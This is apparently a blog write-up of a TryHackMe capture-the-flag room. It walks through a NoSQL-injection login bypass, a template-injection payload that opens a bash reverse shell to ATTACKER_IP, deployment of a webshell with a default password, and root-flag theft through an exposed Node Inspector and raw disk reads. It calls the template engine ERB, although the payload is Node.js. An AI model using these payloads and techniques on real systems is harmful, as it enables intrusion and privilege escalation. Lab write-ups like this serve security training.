TryHackMe Hacker Holidays 2026 — Byte Lotus Hotel: Do Not Disturb

📅 Published 04-08-2026 ·ctfweb-securitypost-exploitationprivilege-escalation

Written By Aryan Giri

The "Do Not Disturb" room is a medium-difficulty Boot2Root challenge from TryHackMe's Hacker Holidays 2026 event. The objective is to track an unauthorized user's footprints, recover the user flag, and escalate privileges to root on the Byte Lotus poolside platform.

Screenshot 2026-08-04 073614

Authentication Bypass and Template Injection

Browsing to the target IP on port 80 reveals a login page. The username attendant is hinted at in the input box.

Screenshot 2026-08-04 073659

Intercepting the login request with Burp Suite reveals a NoSQL injection vulnerability. Modifying the password parameter bypasses authentication:

POST /login
username=attendant&password[$ne]=x
Screenshot 2026-08-04 073643 Screenshot 2026-08-04 073711 Screenshot 2026-08-04 073736

This successfully redirects to the /staff dashboard. The dashboard contains an editable message template:

Dear <%= guest %>, your Byte Lotus cabana is confirmed.
Screenshot 2026-08-04 073802

This confirms a Server-Side Template Injection (SSTI) vulnerability using Embedded Ruby (ERB) syntax. To gain a reverse shell, start a Netcat listener (nc -lvnp PORT) and inject the following payload into the guest parameter:

<%= process.mainModule.require('child_process').exec('bash -c "bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1"') %>
Screenshot 2026-08-04 073941

Clicking preview executes the payload and returns a shell.

Screenshot 2026-08-04 073955

Persistent PTY Webshell Deployment

In post-exploitation, standard reverse shells frequently drop or become unstable. To maintain a persistent, interactive session, I deployed my custom tool, Ary_WebShell_JS.

Ary_WebShell_JS
A browser-based interactive terminal webshell written in Node.js. Designed for authorized CTF competitions and security research environments where you need a full PTY shell via a single file upload. It requires zero external npm packages, utilizing system PTY bridges (script, python, socat, unbuffer). The frontend is powered by xterm.js with a Tokyo Night dark theme.

Repository: https://github.com/giriaryan694-a11y/Ary_WebShell_JS

Download the script to the attacker machine:

wget https://github.com/giriaryan694-a11y/Ary_WebShell_JS/raw/refs/heads/main/ary_webshell.js
Screenshot 2026-08-04 074409

Start a Python HTTP server on the attacker machine, then navigate to /tmp on the target (as the current directory restricts file writes) and download the script:

cd /tmp
wget http://YOUR_IP:8000/ary_webshell.js
Screenshot 2026-08-04 074828

Execute the webshell (defaults to port 8888):

node ary_webshell.js
Screenshot 2026-08-04 074854

Access http://127.0.0.1:8888 in the browser and authenticate with the default password: arywebshell123.

Screenshot 2026-08-04 074936 Screenshot 2026-08-04 075004

Click "New Session" to spawn a full PTY bash shell. Navigate to the user's home directory and retrieve the user flag.

cd ~
cat user.txt
Screenshot 2026-08-04 075109

Process Enumeration and Node Inspector

After obtaining a shell as poolside, I began standard Linux privilege escalation by checking sudo -l, SUID binaries, capabilities, cron jobs, and running linPEAS. None of these revealed a viable path. I then shifted focus to application enumeration, inspecting running processes with ps aux. A Node.js process owned by another user (pipeline) stood out. Inspecting its command line revealed the --inspect flag, indicating the Node Inspector was enabled on localhost (127.0.0.1:9229). Recognizing this as a developer debugging interface led me to investigate it further.

Screenshot 2026-08-04 095633 Screenshot 2026-08-04 100123

Checking listening ports with ss -lntp confirms the service:

Screenshot 2026-08-04 095706

Probing the endpoint verifies it is the Node Inspector:

curl http://127.0.0.1:9229/json/version
Screenshot 2026-08-04 095738

Attach to the inspector and enter the REPL:

node --inspect=127.0.0.1:9229
debug> repl

Execute commands using Node's internal C++ bindings to bypass standard module restrictions:

> process.binding('spawn_sync').spawn({file:'/bin/sh',args:['/bin/sh','-c','id'],stdio:[{type:'pipe',readable:1,writable:0},{type:'pipe',readable:0,writable:1},{type:'pipe',readable:0,writable:1}]}).output[1].toString()

Identify the root disk partition:

> process.binding('spawn_sync').spawn({file:'/bin/sh',args:['/bin/sh','-c','df -h; ls -la /dev/root /dev/nvme*'],stdio:[{type:'pipe',readable:1,writable:0},{type:'pipe',readable:0,writable:1},{type:'pipe',readable:0,writable:1}]}).output[1].toString()

Direct Disk Extraction and Lab Timeout

Read the root flag directly from the block device using debugfs or strings, bypassing filesystem permission checks:

> (function(){try{var r=process.binding('spawn_sync').spawn({file:'/bin/sh',args:['/bin/sh','-c','debugfs -R "cat /root/root.txt" /dev/nvme0n1p1 2>&1 || strings /dev/nvme0n1p1 | grep -i thm 2>&1'],stdio:[{type:'pipe',readable:1,writable:0},{type:'pipe',readable:0,writable:1},{type:'pipe',readable:0,writable:1}]});var o='';if(r.output){for(var i=1;i<r.output.length;i++){if(r.output[i])o+=r.output[i].toString();}}return o||JSON.stringify(r);}catch(e){return e.toString();}})()
Screenshot 2026-08-04 101850

During the final extraction phase, the TryHackMe lab machine terminated due to a session timeout. Despite the interruption, the core exploitation path was successfully mapped and validated.

Technical takeaways from this engagement: